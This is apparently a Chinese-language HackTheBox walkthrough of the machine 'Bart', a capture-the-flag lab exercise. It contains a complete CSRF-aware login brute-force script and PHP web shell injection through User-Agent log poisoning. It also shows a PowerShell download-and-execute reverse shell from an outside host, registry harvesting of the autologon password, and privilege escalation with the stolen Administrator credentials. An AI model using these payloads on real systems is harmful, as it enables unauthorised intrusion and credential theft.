基本信息

端口扫描

只有80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -sC -sV -Pn 10.10.10.81
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 14:31 CST
Nmap scan report for 10.10.10.81
Host is up (0.064s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Did not follow redirect to http://forum.bart.htb/
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.43 seconds

80

需要加hosts

1
10.10.10.81 forum.bart.htb

子域名扫描

子域名发现monitor:

1
2
3
4
5
6
7
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://forum.bart.htb/" -H 'Host: FUZZ.bart.htb'  -fs 0

[Status: 200, Size: 35529, Words: 2090, Lines: 549, Duration: 95ms]
* FUZZ: forum

[Status: 200, Size: 3423, Words: 385, Lines: 81, Duration: 1522ms]
* FUZZ: monitor

monitor

同样加hosts后访问,PHP Server Monitor v3.2.1:

monitor

forum那里可以得到一些用户名,有两个注释掉了,源码里可以看到,然后通过monitor的忘记密码功能来识别有效账号

harvey

cewl从网页生成字典,破解出来harvey的密码,有CSRF token,脚本破解:

1
2
3
4
5
cewl -w cewl-forum.txt -e -a http://forum.bart.htb

python3 brute_monitor_login.py cewl-forum.txt

[+] Found password: potter

internal-chat

登录后,internal-chat里发现另一个子域名:

brute_monitor_login.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3

import re
import requests
import sys
from multiprocessing import Pool


MAX_PROC = 50
url = "http://monitor.bart.htb/"
username = "harvey"

#<input type="hidden" name="csrf" value="aab59572a210c4ee1f19ab55555a5d829e78b8efdbecd4b2f68bd485d82f0a57" />
csrf_pattern = re.compile('name="csrf" value="(\w+)" /')

def usage():
print("{} [wordlist]".format(sys.argv[0]))
print(" wordlist should be one word per line]")
sys.exit(1)

def check_password(password):

# get csrf token and PHPSESSID
r = requests.get(url)
csrf = re.search(csrf_pattern, r.text).group(1)
PHPSESSID = [x.split('=')[1] for x in r.headers['Set-Cookie'].split(';') if x.split('=')[0] == 'PHPSESSID'][0]

# try login:
data = {"csrf": csrf,
"user_name": username,
"user_password": password,
"action": "login"}
proxies = {'http': 'http://127.0.0.1:8080'}
headers = {'Cookie': "PHPSESSID={}".format(PHPSESSID)}
r = requests.post(url, data=data, proxies=proxies, headers=headers)

if '<p>The information is incorrect.</p>' in r.text:
return password, False
else:
return password, True


def main(wordlist, nprocs=MAX_PROC):
with open(wordlist, 'r', encoding='latin-1') as f:
words = f.read().rstrip().replace('\r','').split('\n')

words = [x.lower() for x in words] + [x.capitalize() for x in words] + words + [x.upper() for x in words]

pool = Pool(processes=nprocs)

i = 0
print_status(0, len(words))
for password, status in pool.imap_unordered(check_password, [pass_ for pass_ in words]):
if status:
sys.stdout.write("\n[+] Found password: {} \n".format(password))
pool.terminate()
sys.exit(0)
else:
i += 1
print_status(i, len(words))

print("\n\nPassword not found\n")

def print_status(i, l, max=30):
sys.stdout.write("\r|{}>{}| {:>15}/{}".format( "=" * ((i*max)//l), " " * (max - ((i*max)//l)), i, l))

if __name__ == '__main__':
if len(sys.argv) != 2:
usage()
main(sys.argv[1])

internal

加hosts后访问:

这是一个开源项目:

register

删除了register_form.php页面,但可以直接请求register.php:

1
curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=miao&passwd=12345678"

saveChat

查看代码,发现自定义的saveChat:

日志注入

测试直接查看log.php,发现我们的UA被记录:

1
http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey

这是一个php文件,UA也是我们可控的,那就可以直接注入php代码写一个webshell:

1
2
3
>>> import requests
>>> headers={'User-Agent':'miao: <?php phpinfo(); ?>'}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey', headers=headers)

webshell

1
2
>>> headers={'User-Agent':"miao: <?php system($_REQUEST['cmd']); ?>"}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey', headers=headers)

reverse shell

1
2
>>> cmd = "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.25:7777/Invoke-PowerShellTcp.ps1')"
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey&cmd={}'.format(cmd))

提权信息

基础的枚举,注册表中得到密码:

(meterpreter的话注意要32位payload,然后再migrate到64位)

1
2
3
4
5
6
7
use post/windows/manage/archmigrate

# 必须要64位上下文才能看到结果
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
DefaultDomainName REG_SZ DESKTOP-7I3S68E
DefaultUserName REG_SZ Administrator
DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb

提权 & flags

因为只有80对外,所以只能在已有shell上使用Administrator的账号密码:

1
2
3
4
5
6
7
8
9
10
11
powershell -exec bypass

$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

Invoke-Command -ScriptBlock { cat C:\users\h.potter\Desktop\user.txt } -Credential $cred -Computer localhost
Invoke-Command -ScriptBlock { cat C:\users\Administrator\Desktop\root.txt } -Credential $cred -Computer localhost

参考资料